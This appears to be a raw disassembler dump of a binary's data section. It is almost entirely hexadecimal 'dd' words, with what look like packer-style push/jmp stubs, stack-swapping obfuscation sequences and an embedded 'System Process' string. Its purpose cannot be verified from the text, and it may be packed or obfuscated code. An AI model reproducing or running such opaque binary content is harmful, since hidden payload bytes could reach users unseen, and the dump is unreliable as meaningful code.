0B54E9DEAh dd 0BFEC2F62h, 2757A65Dh, 69A8CB18h, 9BEE2B10h, 0A2AA7CA0h dd 0AF491BEDh, 2323E50Ch, 0DE411202h, 204390ABh, 0FF8B88E1h dd 8CD01340h, 0AE99E3AEh, 347B7547h, 23959D3h, 0C1EC4112h dd 122D5F9Ch, 21529FBh, 80084112h, 2955A2C7h, 89DA6514h dd 0BBFA2B6Ah, 47357A65h, 0C91DAFFCh, 0D4975B52h, 58E797A6h dd 0D1A7F419h, 18152576h, 15184AE0h, 102B51D3h, 7BC4C8F9h dd 624A9A2Ah, 0C1B04112h, 44FF8DA7h, 102362Dh, 5F1C0000h dd 0CA1B2852h, 404C75ABh, 0EF99D607h, 25750754h, 38473A3Bh dd 5ABAEB54h, 10F9E0A9h, 92BD82FDh, 6E663653h, 0F3491BC5h dd 4235CEB8h, 3700F5B6h, 7D828h, 0F8434A00h, 6CDBA091h dd 0D4731C05h, 3A0574BDh, 0A3A0EED3h, 357E7E48h, 0AE93FA49h dd 1B046FDCh, 76BBD26Dh, 2BD23D06h, 0EB8ADE4Eh, 0AB6F411Dh dd 3A05777Bh, 4D1A64DDh, 6C3926E6h, 0B6D81530h, 47317E89h dd 0EE9E9BFCh, 7F91B973h, 2984473Ah, 5A86A5F6h, 0BB840839h dd 201F6F50h, 73D0BEF3h, 0EE0A0722h, 90FB4836h, 0F3970F42h dd 7AA51h, 0A5700000h, 0DEh, 3A057789h, 4B0B5BE9h, 6216473Ah dd 1867B4D9h, 6B96FA2Bh, 0AA0F190Dh, 1EB848D9h, 0A5EAAC18h dd 0CC356BD4h, 3B0488ACh, 2AABD1DEh, 77F8C988h, 0A5689FAh dd 97B0D8C9h, 0B965B646h, 81473Ah, 96201847h, 0E80B58E3h dd 69578113h, 8AAACE2Bh, 702A45FEh, 21460177h, 50620BFCh dd 1E80C8DCh, 3A303A4Eh, 0EE592F47h, 19265451h, 2A76A9F4h dd 0D0B9F613h, 0D9072677h, 0E5FE890h, 0D9A297E1h, 1FA2B6Ah dd 0B9956E1Fh, 2A549DA8h, 5980C81Dh, 43CC0B1Fh, 755E2725h dd 0D2097526h, 0ADEC5B23h, 53E4A77h, 9A348DEAh, 0AB1586EFh dd 8827C11Fh, 63473A70h, 0F39B8FC3h, 0FE952851h, 5FF6FFFFh dd 3B96A27Ah, 307B473Ah, 30A17ECh, 35420000h, 88ABF843h dd 3B6DBD6Fh, 2D80473Ah, 525F5FF7h, 0AFCE1F2Ch, 0FB444871h dd 0A4D4ADAAh, 38F2B813h, 76B6508Ch, 48473AF8h, 0BFCD6781h dd 58246D84h, 0CEEEBEEFh, 0B3473AF8h, 2F2D7EC9h, 0A09BE134h dd 98F13073h, 933A792Fh, 0ABE4EEF4h, 0F03360DFh, 97FFADACh dd 7A491BF9h, 0CB79F189h, 123F0951h, 34C1EC41h, 0EF2E4488h dd 0B605561Bh, 67FACBF5h, 61Dh, 2A45FE8Fh, 5EA996E5h, 0F6112E51h dd 6C87C0C9h, 85EC5B23h, 48AC3A5h, 97E32C47h, 285041A8h dd 0C1CBF41Fh, 93E46F86h, 1DEAF119h, 0B66E2441h, 0E93A0577h dd 628DBAC4h, 0BB573015h, 0CE159D34h, 6DEB3FE1h, 0AF0E473Ah dd 0FB444871h, 9C3E8790h, 59F88C93h, 0F08415EEh dd 899533DAh, 0E3602E4Bh, 0BFCBA186h, 52473A26h, 0CBE0055Bh dd 105784C3h, 3B43E107h, 1C51E50Ch, 0B951F3BBh, 214h, 9EA9DFDCh dd 22F22E4Dh, 3C61A858h, 646DBE60h, 0D421B090h, 0FB469AA5h dd 0D9174A7Dh, 0F1A25304h, 68000001h, 861A858h, 3A3B4494h dd 0D102A947h, 646D1103h, 71BE1390h, 0C1EE3F08h, 104C8FB8h dd 0C5B8CF29h, 105304D8h, 1C8h, 61A8583Eh, 3B489408h, 6B5473Ah dd 6D1507D5h, 0BA1F9064h, 0F4C39C9h, 1A467A4Ah, 0BBB6D91Fh dd 1E5305D4h, 1A0h, 61A85804h, 3B4C9408h, 0FAB1473Ah, 1DBACA9h dd 0C46AE34Fh, 56D862BEh, 589064A1h, 0B8F55791h, 0F7B2CFD2h dd 0FE001894h, 0B64F6EBFh, 62BEAF3h, 0BE9EC254h, 530479C3h dd 16316h, 7A5F3C00h, 3A3B96A2h, 4B307B47h, 9A4A4578h dd 0A5CC1043h, 0F23F6CD7h, 4656B18Ah, 4B21468Dh, 49180FE4h dd 55582471h, 0F355DB87h, 0DF1053FFh, 2C4F9CABh, 217239F0h dd 18B34393h, 0B434BD41h, 0D14FE09Dh, 33F54Bh, 585D0000h dd 690364ABh, 49184166h, 8C44B60Fh, 4792E154h, 0A9372019h dd 0A354738h, 0D413A871h, 60B44095h, 9E411825h, 0FF7295D3h dd 0DA4BD1BDh, 0BEh, 3A057740h, 37BAC4E9h, 10454553h, 335B945Ah dd 67B4D514h, 0BBFA2B18h, 599A59C2h, 54887034h, 0B790FC31h dd 0F8434966h, 8B8891h, 8DD31243h, 3A4F78FBh, 0AC97E547h dd 2414E4Bh, 57A4B5DEh, 62ED9D24h, 0C278B603h, 483B5D83h dd 0E9919EFBh, 59D3065Ah, 491EAF3Fh, 317E9B12h, 8EADFE4Dh dd 8CF23F52h, 236B54BFh, 94855224h, 0BF88F5B9h, 3FCA0h dd 241F6E00h, 88B7C4CDh, 0F04F3061h, 66E1A899h, 0CF7C020Fh dd 69A242A4h, 0C2CF2625h, 3F608BB8h, 0AA97FE49h, 0C70E59E2h dd 0EFAEFAB2h, 8F43411Dh, 1EE65F97h, 710ADE23h, 0EF1C9DE2h dd 5A257816h, 0B493FB06h, 1F28545Dh, 5775EF4h, 3B78801Ch dd 1E9D473Ah, 1B618EDFh, 0C1CAC720h, 93355E82h, 473A3B40h dd 4F3C8172h, 0C458B1F0h, 49181B3Bh, 0E4BEC9E4h, 0DD3A0577h dd 0C4E6A464h, 3ACA0028h, 3DC6F547h, 4D930203h, 346ADB38h dd 19B5CC49h, 0C8B4FD23h, 6F1D1A7Fh, 386487D4h, 0C10EC5D7h dd 677FF4A8h, 8D204918h, 16788C58h, 0DB864118h, 0AAF76A9Dh dd 4AC24BD1h, 0F5000000h, 1ECC1C90h, 8A214118h, 0AB58BE56h dd 3B9EAA42h, 3873473Ah, 0BA517843h, 0F235F097h, 3AD40795h dd 72394918h, 0E104AC15h, 54386408h, 0BAE61926h, 788DD163h dd 1E734118h, 86DA6911h, 570A3DBBh, 624BD198h, 0F8h, 3D7A5FA8h dd 1A2EFE4Dh, 0BB473A3Bh, 0F9ABEA79h, 2D80B11Ah, 79C2CAF7h dd 0C8770754h, 211A62AFh, 70CFBFFCh, 3444D831h, 0D9473A9Eh dd 1A7F8ED2h, 8CD16E1Dh, 86F63361h, 9A6B68BDh, 0A89C0A44h dd 7227E1Ch, 0E1A3CA75h, 473A900Eh, 5BB28DFFh, 0FC1D2656h dd 4007FE0Bh, 1341BBBFh, 0FC808DCAh, 8FB1D43h, 0A3795EBBh dd 473A7F97h, 7347897Ah, 0B911ADFDh, 43F4986h, 94894D7h dd 18A11893h, 370C0549h, 0EE592FA8h, 57F46F15h, 0E89BFD14h dd 0AEAE7E9Bh, 0A34F3C86h, 0DCA2EF08h, 731B046Fh, 942B22D4h dd 0E536EF96h, 24C1Ah, 74CFBE00h, 0D867141Dh, 40FF80B1h dd 0B691F829h, 1F2C525Fh, 0B9F2F2F4h, 121F76D5h, 8FB0DB68h dd 0FA274EF9h, 975EA992h, 0EE1E2AC2h, 5FF3411Dh, 380777C7h dd 1622FADFh, 0FB473A3Bh, 3E636CB0h, 0B28DFB4Eh, 73191673h dd 0D34B94C8h, 216AAB58h, 73B2F122h, 2F7B3116h, 0C2473A3Bh dd 0CA1E8EEBh, 2F473A3Bh, 6B01508Ch, 49184178h, 50B5E6D5h dd 3169B16Bh, 107C4118h, 7DA30A37h, 18319BABh, 7CFC6541h dd 0D1D21855h, 0CBBD4Bh, 0F3D80000h, 183D1139h, 6BA90441h dd 0CDE65FDBh, 5E7FADEEh, 0BCC0E937h, 0F8355283h, 3B7AAB94h dd 95B2DCE5h, 5EB3B440h, 0E0AC473Ah, 79030C67h, 8F789DCEh dd 20750C5h, 0B8D20ED6h, 896384CBh, 49185D3Eh, 0DAABCCEFh dd 1605C05Dh, 81C21E2Dh, 1A7FC4BFh, 0C536735h, 0F7C64118h dd 73F4A8A9h, 0C44F3C98h, 842C2A03h, 81DF6CD9h, 0B7C42588h dd 201178C7h, 0B619E15Eh, 27EF97DBh, 13F0B16h, 0DCA10000h dd 74070863h, 0C73BCD7h, 9EEBD43Fh, 39454AA5h, 0E587E30Ah dd 0A65E2ACh, 0BFD67505h, 0D23D0672h, 4DA49FEDh, 1327F582h dd 6411DEDh, 777D050h, 0A8FD4636h, 0FE234A8Dh, 77D4BB8Eh dd 0AE20726h, 473A3BFEh, 0E599813h, 3A057794h, 8FB8C4E9h dd 105F1464h, 77D4BAF7h, 0B8D90726h, 1B80E4E4h, 25426949h dd 0F9019BC0h, 1C411DF0h, 0F0BBCF91h, 5F5E411Dh, 929FE401h dd 0E60351EAh, 7542AD96h, 27F5AB8Ch, 0CF10C9E6h, 0F63E0B21h dd 6502FB3Ah, 19BACD6Dh, 0C1CBF62Ah, 0D097DC3Ch, 8ACDC463h dd 0F121946Dh, 5CDEC8BDh, 1C57E500h, 4A12D7A6h, 0A1EB49AFh dd 3A424FA6h, 0EA9FDC01h, 0DC1F2C5Fh, 2D16628Fh, 0FC5907F8h dd 4F68FBE3h, 98CD7602h, 0BB6F8970h, 830B0891h, 579198C4h dd 77D0B8F5h, 90D90726h, 15325DECh, 515EBBD2h, 59613B2Ah dd 0BC3F9B48h, 406DBEF1h, 92CE013Eh, 0FD1A2557h, 2273CCB0h dd 48237725h, 0E7D63F9Bh, 282D78A4h, 71A29DEBh, 2211EE32h dd 40000000h, 0C5BAA87h, 0E63A374Ch, 0A27A5F4Eh, 473A3B96h dd 0F54E3E7Bh, 0B94285A0h, 852EBBF8h, 64E13F1Bh, 3D0677A2h dd 8EB9C3E8h, 0DF68105Dh, 2A19618Eh, 7DCAB4F9h, 0CC7B0328h dd 1C27529Fh, 6EDDA2CFh, 0BC8BF03Dh, 8952696Fh, 4C281E2h dd 83000000h, 148704EAh, 24248B24h, 81E68956h, 4C6h, 4EE8100h dd 87000000h, 895C2434h, 8953240Ch, 4C381E3h, 83000000h dd 1C8704EBh, 2C895C24h, 64FFB924h, 0F1817204h, 50EB6EDFh dd 43D98741h, 0E981D987h, 30644455h, 7095E181h, 0E98174B6h dd 6A5A74F4h, 42D968h, 24248900h, 4240483h, 3481515Dh dd 693F1324h, 8458F20h, 8BB53h, 0EB010000h, 3F133381h dd 0FF5B2069h, 815D2434h, 4C4h, 240C8B00h, 5E08950h, 4 dd 8704C083h, 0E95C2404h, 0FFFAAA03h, 0FD6FF405h, 0E1738149h dd 0B84D5212h, 627D83Ah, 0E0FFC503h, 236B1E1Bh, 797B0EA4h dd 6FE4D174h, 7106889Dh, 3994DA2Ah, 5855A2Dh, 6FD9C565h dd 6C7A4C04h, 58CCD08h, 281BEABBh, 0BF2F07Ah, 1C945B3Ch dd 0D93C0ADh, 37A66949h, 30E52551h, 27A24CC0h, 63A65E27h dd 73307B35h, 1147FB43h, 7636C5E7h, 1F251A94h, 7BEA8FFAh dd 38F009EEh, 43EE8BC8h, 58872EBFh, 133F7660h, 35DC376Eh dd 3A2123E0h, 32FF4F96h, 16CE9h, 0D85B2B00h, 14680020h dd 0E84CEC87h, 35588F4Fh, 3E562408h, 3D567751h, 36585408h dd 1D717C51h, 4F247F38h, 0B470F451h, 0B0C412D3h, 8B6A39Fh dd 79149850h, 12851h, 0 dd 400h, 2 dup(0) dd 2F00h, 0 dd 800h, 0 dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 40h dup(0) dd 15C8E900h, 0D0680000h, 0E90627DCh, 0FFFB7399h, 27DD9568h dd 738FE906h, 5468FFFBh, 0E90627DEh, 0FFFB7385h, 27DF5E68h dd 737BE906h, 2668FFFBh, 0E90627E1h, 0FFFB7371h, 27E2B468h dd 7367E906h, 7968FFFBh, 0E90627E3h, 0FFFB735Dh, 27E45568h dd 7353E906h, 0A68FFFBh, 0E90627E6h, 0FFFB7349h, 27E6A468h dd 733FE906h, 5D68FFFBh, 0E90627E7h, 0FFFB7335h, 27E7D368h dd 732BE906h, 5C68FFFBh, 0E90627E9h, 0FFFB7321h, 27EE1768h dd 7317E906h, 3668FFFBh, 0E90627EFh, 0FFFB730Dh, 790DCCD3h dd 0B5519CE4h, 0CD996CA8h, 1AA03570h, 54F6F707h, 67B7A8B1h dd 3979C466h, 40F12A8h, 0CDD429FDh, 46A67A00h, 62ED2C0Fh dd 0B702ECCDh, 0CDD55AA7h, 8CAF2604h, 8CD38AC8h, 6C60FA91h dd 899EEF80h, 0FA2C2AA5h, 0DE9694A6h, 592DC343h, 6295B535h dd 0CC5BD120h, 947A482h, 84494805h, 0B7B46DE6h, 0AB8EC757h dd 6FD38A90h, 9657A7B0h, 7BB5DC8Ch, 0BFD9AC99h, 0A29B460h dd 7DD9AC99h, 0A11FA02Ah, 600ED146h, 3Eh, 8F26AAE9h, 782243B1h dd 7D220915h, 2612E72Eh, 0E1E87209h, 0D9ABECF3h, 513CE837h dd 0D9ABED82h, 9718A2F5h, 0ED1F629h, 817CA86h, 0C6085BB3h dd 0F38BDF98h, 888A4A9Fh, 0D9B6h, 5AA73B00h, 0E72AB797h dd 35112E1Ah, 8AC8795Ch, 0A062B9D3h, 0ED2B730Eh, 8AC7D1E4h dd 8A8851D3h, 0DB76CD7Bh, 5DA33E0Ch, 68FCB290h, 0C7E6F198h dd 0FF2AD38Ah, 6A77BA57h, 13DE23BEh, 0CCFE024Bh, 0F938D38Ah dd 0C6CB56F4h, 9D020D3Bh, 39D7BE8Ch, 0F9D9ACE8h, 4EF39822h dd 0E8607B12h, 45A0D9ACh, 0E7355CAEh, 2BDFD1A7h, 0A7FFDAB3h dd 0E403DFD1h, 906DFD49h, 0F2FF0295h, 0F052E927h, 868A111Dh dd 0DB76CD7Bh, 0E9F03E03h, 100AC107h, 0A735EBBAh, 1322h dd 5A12877h, 51F5F838h, 693DC8CCh, 0A6449194h, 0F08A535Bh dd 0C3CBD415h, 959D603Ah, 60A3BE4Ch, 2968F591h, 0E27A06A4h dd 62EBD0EBh, 0BE650CDh, 7CAD7AAh, 0FF3C421Fh, 0D12460B3h dd 9A31CC5Bh, 0A9347DC0h, 70D1601Dh, 0F4E2EB73h, 34D9ACD1h dd 0D6AB33E9h, 360D3BCEh, 0D1AE85ECh, 0CE01D9ACh, 10FDA344h dd 0A2C40ED1h, 4D000000h, 0CDD55AA7h, 0D9D6904h, 8AC87144h dd 0A86AB1D3h, 0AA337B16h, 0CD0B177Eh, 0EC35D38Ah, 0B9F845E1h dd 0AA17F834h, 0F329B8FBh, 0D4BD8924h, 0D9ACE836h, 0F49F2FFAh dd 85CC5E4Bh, 0DFD1A466h, 12EF7FAAh, 25687E0Ch, 0F795AE6h dd 4757AA70h, 0C272BE86h, 968CBA10h, 125D00h, 0ECED3200h dd 30BDC35Eh, 788D976Ah, 83565FA2h, 0D11866FBh, 908F5035h dd 0A2BF4F8Eh, 68F59160h, 3D00DA2Bh, 815DE9F4h, 0EB05D0B9h dd 2D05CD62h, 9657A750h, 0EA2869F4h, 8AC7D8E3h, 85CD58D3h dd 9B5D9A83h, 53EB860Bh, 0E226AAAEh, 88F3E497h, 969B76DCh dd 0B409DD4Bh, 90AF6570h, 0FD2DFB2h, 57A2E27Fh, 0FC0100D9h dd 450BEC2Eh, 167FCFDCh, 0D9AC0248h, 47885DC8h, 0D1363371h dd 0C72744FDh, 584FAC8Eh, 7BB16CD7h, 203A2798h, 7DCE48A9h dd 0C95DC8DDh, 0E6EF2D74h, 0DD7DCDD3h, 7F8A8A57h, 0B3DF6AC1h dd 86AEF0AAh, 4E1CAB13h, 2261AEF3h, 33CE65D3h, 0A528F731h dd 850B09BFh, 119Eh, 992DACF3h, 0D5717C84h, 0EDB94C48h dd 3AC01510h, 7416D727h, 47574891h, 1919E486h, 0E42F32C8h dd 0ADF4491Dh, 66C69A20h, 62EA4C6Fh, 9762CCCDh, 0B7975AA7h dd 0C88BAE27h, 6BB5D38Ah, 6A74B366h, 0BE035507h, 43FD21C2h dd 8DF15FC0h, 0D637C3EEh, 0DEB79722h, 0D9AC845Ch, 58A541DCh dd 6CBD659h, 0ED52BD6Bh, 0E1676EFCh, 16DFD45Dh, 0C379888Bh dd 5009AE74h, 0B978D50h, 48FFFC9h, 0DD877E0h, 0CCD4A939h dd 760C90B2h, 4712BF31h, 77A6511Bh, 0C14D0862h, 22F8050Ch dd 0FCBCD2DFh, 8FA6DA29h, 70804D3h, 0D1BD899Ah, 0ECA5856h dd 4B1B3BABh, 57626BFBh, 0DBDFD4B0h, 6907024Ch, 0A0183D03h dd 9BAD1B62h, 0B66DE5FCh, 5C8C954h, 80C9161h, 75BC51FDh dd 5828BC68h, 0FC9C2631h, 2D3D0E5h, 2932100Fh, 8AAD2478h dd 8EE5FC9Ch, 9BA2B5DCh, 0BB66E5FCh, 9CF551ECh, 0EC1EB1EAh dd 3D71F32Eh, 0D3AEC53Dh, 10947F5Dh, 0B6F90000h, 868A9737h dd 565EA37Bh, 1F66FB83h, 0E12D30CAh, 46874218h, 0F6945559h dd 0CDE276Bh, 5BE3F231h, 9436BBC6h, 3E1970C8h, 0C2CD62E9h dd 57A79914h, 9964F496h, 62C95598h, 5FA2EEBDh, 694C05E1h dd 0A9D38AC8h, 9FBBA772h, 56A8B913h, 0E7EE7C0Bh, 0D9AC01D9h dd 4792936Eh, 7D072C9h, 0FC8B565Ah, 6568A940h, 0EA357CC1h dd 1FEF25A4h, 0AC026376h, 0AD78A7D9h, 88391A16h, 5F33839Bh dd 0C5CC524Ch, 56CB638h, 0DFCE2AA3h, 0F58CB867h, 1DF420A9h dd 6E51CF16h, 0FE67913Bh, 0C55821ABh, 7F1230B9h, 35AD1C32h dd 3A634FEDh, 2319E42Dh, 5DAD7914h, 863D81CDh, 0D15A2E13h dd 0CDFDA98Ch, 90B269DFh, 335A168Bh, 0DFCDFE28h, 84663DE8h dd 0EFFDEFCDh, 38F433E5h, 899D60A1h, 0E2AB26C5h, 35195834h dd 5CA5EE7Bh, 0F90C09E0h, 666BB643h, 0EA048EC1h, 99CB7126h dd 0AA233B28h, 0EC128194h, 60FD8994h, 7D60DC21h, 0EC129156h dd 25AC3CCEh, 0EC129112h, 0E23C26DDh, 79DC30F3h, 9D2760A2h dd 790DD0D1h, 0CA509DE4h, 6DDB2E77h, 3A1D74D6h, 0FEEC1227h dd 0C24DE323h, 764F035Dh, 5B77D267h, 0FD98A3A0h, 26AFEC11h dd 0EC11FD13h, 5C050817h, 64FD8855h, 0CC5BD11Ch, 3ABCD531h dd 0FEF23416h, 1DC1D61h, 6089565h, 77BD5FC7h, 8B939031h dd 5BEF8CC2h, 0CBD38CF8h, 49D67702h, 5888445h, 0F85BEF2Eh dd 1AE001BEh, 83C8DD73h, 64C65DFEh, 0B1559899h, 829865ACh dd 0C9805B32h, 6580FE83h, 6B6707B9h, 0BBBC7064h, 0CDFAE438h dd 9E7605A4h, 5EA03DE1h, 4A4BD4DDh, 0D17E0BFh, 0FDC32DF8h dd 0F9CAF25h, 0ECC8311h, 7E810000h, 4E52AF7Fh, 1E66FB83h dd 0E72E33CBh, 0A9F54812h, 7EFF9A20h, 0EDC1D61h, 44E6EF33h dd 932BBAF9h, 0AC7E838Eh, 76410810h, 0BACD62E7h, 0DAAAE15Ch dd 0ABA83D47h, 0D38AC890h, 0D4899590h, 3B7CB0CAh, 9C99152h dd 7C9A17F7h, 0C79212B1h, 0AD7DA27h, 9964AD30h, 236EFBB5h dd 12B962DEh, 0F8050C68h, 9DA61422h, 0A66F14F3h, 0F2000001h dd 0A8B3DAAAh, 68D38AC7h, 915CA4BDh, 0CD1D08Dh, 925BA33Eh dd 0E5646574h, 7AD8E8EDh, 0AAE42DC4h, 526EACA8h, 0D268079Bh dd 79288839h, 9C7D11C5h, 0A8B3DA20h, 68D38ABBh, 4D04E6BDh dd 0D9ACC543h, 7FC258C7h, 0D3E6EF35h, 57D9ACC4h, 6A073DC8h dd 0D463D928h, 835B1539h, 0C57F5A33h, 78B9D9ACh, 0AD60BF75h dd 0EEC5AC76h, 8D9ACC4h, 0B34EFA0Bh, 97AA666Fh, 0EABCBA40h dd 12882FD5h, 0D30ED11Ah, 3Ah, 656CB60Bh, 0BFB290AFh, 0EB7370D1h dd 0ACD1F4E2h, 0C84F03D9h, 31AF188Eh, 0FE25F250h, 0A7744342h dd 0B0C7D9ADh, 3C37650Ah, 0ABFE0ED0h, 6E000000h, 9AE4F79Eh dd 0F924D9ADh, 5AA7D855h, 94DBB797h, 14150C79h, 17E29C86h dd 9964C607h, 40DF5598h, 4C552CC2h, 9B36BFC3h, 0CDD4ADh dd 0CB0F137Ah, 0E829D38Ah, 158A41E5h, 0AE5F3614h, 45D9AF88h dd 0A32AAD09h, 61ADCD7Ah, 63F34BD6h, 1747AA6Fh, 0F64DFB0Eh dd 48C5A7E8h, 0C60717CAh, 14D5D924h, 721E0C2Ch, 4E4CC2B0h dd 0D3Eh, 39CD0C13h, 7511DC24h, 8D59ACE8h, 0DA6075B0h dd 14B63747h, 0A7F7E871h, 79B98426h, 444FD268h, 0D14E9BDh dd 86663AC0h, 62E5ECCFh, 77C22CCDh, 0F49657A7h, 55989964h dd 0C00D14C9h, 5AA7473Ah, 0C1C09997h, 0E9E0327Eh, 0D38AC7CEh dd 0C38D752h, 7FC29837h, 0EE71AF32h, 0A32A3031h, 0D9ACE91Dh dd 5424061Dh, 0E8AA8DC4h, 0B36ED9ACh, 0ACE98752h, 0B69C8BD9h dd 0F63B8696h, 0C9101EEBh, 785EC453h, 6CEh, 9657A781h dd 0C81C3B9Ah, 0EF50D38Ah, 0D36168F2h, 60D9B2A1h, 2016FC90h dd 0FA0E1170h, 0B249BE99h, 4AA742D9h, 0C097BF4Ah, 357CC125h dd 20F12A8h, 66A841FFh, 558B9D67h, 0E75DB071h, 0C79F1h dd 8D1DE00h, 5CA1EF72h, 6471B38Eh, 0AF3A7BC6h, 0FDFC021Fh dd 0BCA3AC29h, 4ED36B72h, 14E9BD44h, 0D924C60Fh, 0AD7115D8h dd 0E521345Dh, 9E1CD62h, 9657A7BCh, 0A52869F4h, 428F926Fh dd 0EAF33BD6h, 965FA33Eh, 0CA70879Ah, 0A42E7DACh, 6604C9C8h dd 0F31B6A50h, 26AB14h, 0C3530000h, 8ABBAF8Ah, 92FB73D3h dd 0D38ABBC7h, 1D01DC4Bh, 0D3795320h, 93C1D38Ah, 0FFFFFDA4h dd 34BDC65Bh, 0EE323F8h, 8AC88453h, 4A57C8D3h, 0D2276DF0h dd 63F99070h, 90D9B2A1h, 5AF8010Dh, 0C88466BDh, 8853DDFFh dd 5FA6B39Bh, 9D819E8Ah, 0AC3170CDh, 0D7BE0E1Eh, 0D9B23D04h dd 58351904h, 3BCED659h, 839B360Dh, 31EFF23Eh, 0EB86381Ah dd 0FC92E9A3h, 0C6A5D5F6h, 0BDDDC92Bh, 3DF3B071h, 0B9D5Fh dd 2CADF200h, 707D839Eh, 0B84D57AAh, 0C3161FE2h, 11D8263Bh dd 504F9075h, 62FF8F4Eh, 2835D120h, 0FD401AEBh, 0C19D29B4h dd 0E4451079h, 6DC5CD62h, 975AA790h, 8BAE27B7h, 8FD38AC8h dd 65FCB290h, 0A05BD11Ch, 0FE036F15h, 8F966BF3h, 3E48D87Ah dd 14F31B80h, 0D41h, 7953C800h, 0C1D38AD3h, 0FFFCDB93h dd 0D7AA36FFh, 371C06C7h, 464BD68Ah, 0C87F5ABBh, 6483D38Ah dd 32147DC9h, 0F6D9ACC9h, 0C290FD2Bh, 35D9ACC8h, 0E9D758E2h dd 280ED116h, 169h, 32054CDCh, 0F6D9ACD1h, 0AA16EB2Bh dd 1E04C9D7h, 8AC7D0B7h, 116C9BD3h, 0DEE36DA4h, 2F72EF03h dd 0B50818A2h, 9DAA666Bh, 8D5DCB1h, 750AB11Ch, 4140D38Ah dd 2FB2FFBBh, 524FF49Fh, 0FB060BE6h, 0ED3DE23h, 7514B312h dd 9767D38Ah, 7CB8070Ah, 3C45D269h, 66AC7BB1h, 0A6149B21h dd 6F14F36Ah, 105h, 975AA7F2h, 8FC1C099h, 7B675669h, 0CB932E20h dd 0DE319F00h, 1386F2CAh, 37EDF031h, 54B64D18h, 0AC4FF33Dh dd 12E837D9h, 0D17D848Fh, 4F9FB61Fh, 0DF10D9ACh, 8F0CB235h dd 25D50ED1h, 5C000000h, 0EB7370D1h, 747D861Bh, 0D211C7AEh dd 0A11D9ACh, 0D1A0B71Eh, 0DC13D9ACh, 110BB136h, 94CA0ED1h dd 5F000000h, 99975AA7h, 13FBEC0h, 46A42968h, 2094260Ah dd 56FC018Bh, 3DC0C198h, 40099969h, 0D38A5975h, 8F916EB5h dd 0D579D642h, 8A7138CCh, 2C72CFD3h, 7AD877ADh, 0B7579AE7h dd 0FD0463DCh, 88C125F0h, 0D9AF2DDFh, 9B66C423h, 0ADB04A93h dd 0A2989861h, 2CB072B1h, 9E8E0F6h, 62AD0000h, 327EC39Bh dd 2021FAFh, 0CBCA57F7h, 8D916C3Eh, 12DBBE4Ch, 22F8010Dh dd 7802D3DFh, 0B7579EE5h, 0C09A67AAh, 92A52C3Ch, 96CD62E2h dd 57A7CDB8h, 2869F496h, 0A75C01A5h, 0C099975Ah, 686E3CC1h dd 3B6h, 2DDB9891h, 0FE977774h, 0D9B2A171h, 3AD16AB1h dd 0CF866485h, 0DFD4BC6Dh, 0DBBA76ADh, 0DFD4BBFCh, 2262FF4Fh dd 0B2584FD7h, 0A9238F0Dh, 3415608h, 53DB0000h, 0D38AC884h dd 8AC87A4Ah, 5C4DF2D3h, 0DB1987CEh, 219D9ACh, 74C64E22h dd 6C62A0B0h, 94Eh, 29FDFC03h, 6501CCD4h, 0BD499C98h, 0CA9065A0h dd 4A62777h, 97E7F841h, 69A9B456h, 347FC298h, 0FD0419ADh dd 0B6962AF0h, 62E1FCDFh, 67D23CCDh, 5CCD7AAh, 7F12300Fh dd 0EE71AF32h, 0A32A3031h, 0D9B2A231h, 4DD02AF1h, 0B696BC45h dd 0E74764DDh, 0DA7B68EEh, 0BAF39FDFh, 200E1E28h, 1722ABB3h dd 1BDFDA38h, 0AA71060Ch, 3CC5CD50h, 0C44F532Eh, 22F937BEh dd 80829997h, 39924980h, 62DADFDAh, 565CA145h, 99F5918Fh dd 0ED14C234h, 0D9B49E1Ah, 341F15D8h, 3C8C9E8Bh, 401225ACh dd 0B16DFDAh, 6D5CA20Bh, 3DCE5FCh, 0E946F2FBh, 7088D252h dd 44FAA427h, 89556h, 34B5FA00h, 78858B96h, 80555FA2h dd 0CB1E67FAh, 19E02E33h, 5847884Dh, 6AF79756h, 300DD928h dd 0C558E2F3h, 0C99531BCh, 0E13D1871h, 15FDCD62h, 7370D198h dd 0A174E2EBh, 3383D9B2h, 0B2A17F5Ah, 7578B9D9h, 76AD60BFh dd 0E1C0BACh, 0C4666FB3h, 7CA83979h, 293D2E93h, 0DA7B2EA0h dd 0F937F2DFh, 0A2B8A916h, 0FC7E3D2Bh, 0DE26FDE5h, 0A42761BEh dd 1F7C52D0h, 74000008h, 518A22Bh, 0C954F6FBh, 916C3ECBh dd 58A54194h, 12F79756h, 1C8D6C9h, 4B9A9865h, 9C65AEB3h dd 0A32E73CEh, 0EEE7471Bh, 0CD62E0CBh, 0A716E34Fh, 0C099975Ah dd 3F1A73C1h, 0F9D38AC8h, 3FEA29BCh, 2ECB6AD3h, 0C590882Fh dd 83099C4Fh, 2687563Ah, 0F1844E1Bh, 0D4597C15h, 42D9D389h dd 0F9040DC0h, 57B1DD2Dh, 29BCF869h, 763A24F3h, 2563A356h dd 14F3DB77h, 176BEh, 0CED3AE00h, 143E1503h, 0B3DAAA19h dd 0D38AC7A8h, 8A91BD68h, 5A361415h, 2D6691A0h, 54341E6Fh dd 0AC10973Dh, 0D4D1ACD9h, 163C0B01h, 676EDA41h, 0D9AC1050h dd 0E25EABEAh, 4EFA0B17h, 47711B88h, 41E66CA3h, 0ED1CF5Bh dd 12A9Ah, 5AA72F00h, 0C1C09997h, 3CE56E3Ch, 0EE2CB09Ch dd 0D5D076B1h, 603F1400h, 161871D5h, 1AD9ABEBh, 0A58C110Fh dd 16D9ABEAh, 6B43BC1h, 0CF0ED1F4h, 2Ah, 3170D152h, 0F654E3F2h dd 0ACD1D99Fh, 56C259D9h, 0ACD2684Fh, 0FE84DBD9h, 0D1114379h dd 1211EC0Eh, 54FE55C3h, 0B4DAh, 5AA76F00h, 0BEC09997h dd 2968013Fh, 0F4089417h, 0B954416Bh, 69ABF683h, 8A995560h dd 4801D5D3h, 0D38A996Dh, 0CDB76ADh, 0B57B177Eh, 7C85D38Ah dd 813ED571h, 1AF39A60h, 29D9AF72h, 82CB5154h, 0D9AF71B7h dd 1B11AC7Bh, 722F0A43h, 34F3D9AFh, 7E2B599h, 95545A27h dd 0DB226CF1h, 727D3B59h, 0F9DF55B0h, 696h, 9135B4FBh dd 0AD79848Ch, 0E5815450h, 32C81D18h, 4C1EDF2Fh, 4F5F4089h dd 2161FC8Eh, 0EC370AD0h, 0B5FC41E5h, 7ECE9228h, 62DF4417h dd 9F6AC4CDh, 0F49657A7h, 4E9B9964h, 0F5FC07D2h, 0C955E03Fh dd 0C68F0D14h, 0D38AC7F3h, 895DE837h, 975AA7D4h, 7EC1C099h dd 3614A336h, 0E4C82A5Ah, 